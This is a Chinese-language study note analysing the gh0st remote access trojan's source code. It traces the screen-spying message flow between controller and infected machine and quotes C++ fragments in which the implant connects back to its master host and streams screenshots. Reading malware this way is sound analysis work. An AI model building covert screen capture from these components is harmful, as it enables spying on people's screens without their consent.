这两天一直看gh0st源码,看得也是一头雾水,下面就分析一下屏幕监控的通信过程,对屏幕扫描算法以及绘图方面就不分析了,因为我也不懂。写的有点乱,就当作个笔记了。
首先从控制端按下屏幕监控选项开始,这时控制端就会调用OnScreenspy()函数。这个函数很简单,向被控端发送COMMAND_SCREEN_SPY指令,告诉被控端我要监控你的屏幕了。此时被控端还在等待控制端的命令(ClientSocket.cpp中的Connect函数中新建的线程WorkThread一直等待执行命令),WorkThread线程等到了执行命令,调用OnRead函数对命令解密,接下来调用了CKernelManager::OnReceive函数,OnReceive看到命令是COMMAND_SCREEN_SPY,就创建了Loop_ScreenManager线程:
DWORD WINAPI Loop_ScreenManager(CClientSocket* sRemote) { CClientSocket socketClient; if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort)) return -1; CScreenManager manager(&socketClient); socketClient.run_event_loop(); return 0; }
这个线程又调用CClientSocket的Connect连接控制端,并声明了个CScreenManager类,并将socketClient与CScreenManager相关联(参见CManager类的构造函数:m_pClient->setManagerCallBack(this);),这样socketClient的WorkThread线程收到的数据就可以传送到了CScreenManager::OnReceive函数中,而不是CKernelManager::OnReceive函数了。
看下CScreenManager 构造函数:
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient) { m_bAlgorithm = ALGORITHM_SCAN; m_biBitCount = 8; m_pScreenSpy = new CScreenSpy(8); m_bIsWorking = true; m_bIsBlankScreen = false; m_bIsBlockInput = false; m_bIsCaptureLayer = false; m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true); m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true); }
构造函数中又创建了两个线程:WorkThread和ControlThread。WorkThread主要负责发送屏幕页面,ControlThread没看,暂时不知道干啥。看下WorkThread线程:
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam) { CScreenManager *pThis = (CScreenManager *)lparam; pThis->sendBITMAPINFO(); // 等控制端对话框打开 pThis->WaitForDialogOpen(); pThis->sendFirstScreen(); try // 控制端强制关闭时会出错 { while (pThis->m_bIsWorking) pThis->sendNextScreen(); }catch(...){}; return 0; }
首先调用sendBITMAPINFO(),发送调色板信息(用TOKEN_BITMAPINFO指令标识)。发送后就等待控制端屏幕监控窗口打开(等待m_hEventDlgOpen事件,当控制端屏幕监控窗口打开时会发送COMMAND_NEXT指令,收到此指令后被控端会调用NotifyDialogIsOpen()函数来设置hEventDlgOpen)。先让被控端在这儿等着吧,接下来我们再回到控制端。
控制端发送完COMMAND_SCREEN_SPY指令后,就继续等待连接(ListenThreadProc线程)和等待接收数据(OnClientReading函数中接收完数据就会调用PostRecv投递了IORead请求)。这时有了新连接(上面Loop_ScreenManager中的连接),于是调用OnAccept函数,并为这个新的连接分配了ClientContext,并建立完成端口,然后在新的完成端口上投递IORead请求,等待接收数据。很快数据来了(调色板信息),OnClientReading函数对数据解密,然后把数据给了NotifyProc函数,NotifyProc函数又调用了ProccessReceiveComplete函数,此时还没有建立屏幕监控窗口,因此pContext->m_Dialog[0] = 0。ProccessReceiveComplete根据TOKEN_BITMAPINFO指令,向主窗口发送了个WM_OPENSCREENSPYDIALOG消息,告诉主窗口建立个屏幕监控的窗口,于是控制端调用OnOpenScreenSpyDialog函数:
LRESULT CkongDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) { ClientContext *pContext = (ClientContext *)lParam; CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext); // 设置父窗口为卓面 dlg->Create(IDD_SCREENSPY, GetDesktopWindow()); dlg->ShowWindow(SW_SHOW); pContext->m_Dialog[0] = SCREENSPY_DLG; pContext->m_Dialog[1] = (int)dlg; return 0; }
创建了屏幕监控窗口,并对pContext->m_Dialog赋值。m_Dialog[0]标识是屏幕监控窗口,m_Dialog[1]指向此窗口。这样ProccessReceiveComplete函数就可以根据pContext->m_Dialog直接将数据传给CScreenSpyDlg了。建立了CScreenSpyDlg窗口,就要调用OnInitDialog函数,在CScreenSpyDlg的OnInitDialog函数中,有调用了SendNext()函数:
void CScreenSpyDlg::SendNext() { BYTE bBuff = COMMAND_NEXT; m_iocpServer->Send(m_pContext, &bBuff, 1); }
发送COMMAND_NEXT指令给被控端。前面说了,被控端在发送调色板信息后就等待COMMAND_NEXT指令。
回到被控端,收到了数据,数据解密后传到了CScreenManager::OnReceive函数中,根据COMMAND_NEXT指令调用了NotifyDialogIsOpen()函数,NotifyDialogIsOpen函数设置了m_hEventDlgOpen事件, CScreenManager的WorkThread线程中WaitForDialogOpen()返回,于是执行pThis->sendFirstScreen(),发送第一个屏幕画面,用TOKEN_FIRSTSCREEN来标识。
控制端收到数据后到了ProccessReceiveComplete函数,根据m_Dialog将数据传给了CScreenSpyDlg中的OnReceiveComplete()函数,根据相关指令来重绘屏幕监控窗口。接下来被控端不停的发,控制端就不停的重绘.........
还没分析完,还有发送控制命令那一块没看,有时间再写。